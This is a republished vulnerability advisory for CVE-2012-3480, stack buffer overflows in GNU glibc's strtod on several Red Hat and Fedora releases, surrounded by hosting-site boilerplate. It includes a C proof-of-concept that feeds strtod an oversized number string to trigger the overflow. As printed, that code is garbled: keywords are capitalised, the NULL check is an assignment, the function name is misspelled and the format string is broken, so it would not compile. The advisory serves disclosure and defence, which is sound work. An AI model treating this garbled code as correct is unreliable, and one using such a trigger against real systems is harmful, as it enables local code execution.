Multiple Local stack buffer overflow vulnerabilities in GNU glibc

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
RedHat Enterprise Linux 6
RedHat Enterprise Linux 5.0
RedHat Fedora 17
RedHat Fedora 16
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54982
Cve id: CVE-2012-3480

Glibc is the implementation of C libraries in most Linux operating systems.

GNU glibc has multiple buffer overflow vulnerabilities. Local attackers can exploit these vulnerabilities to execute arbitrary code.

<* Source: Joseph S. Myer
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Joseph S. Myer () provides the following test methods:

Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>

# Define EXPONENT "e-2147483649"
# Define SIZE 214748364
Int
Main (void)
{
Char * p = malloc (1 + SIZE + sizeof (EXPONENT ));
If (p = NULL)
{
Perror ("malloc ");
Exit (EXIT_FAILURE );
}
P [0] = '1 ';
Memset (p + 1, '0', SIZE );
Memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT ));
Double d = strtodd (p, NULL );
Printf ("% a \ n", d );
Exit (EXIT_SUCCESS );
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

RedHat
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.redhat.com/apps/support/errata/index.html

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.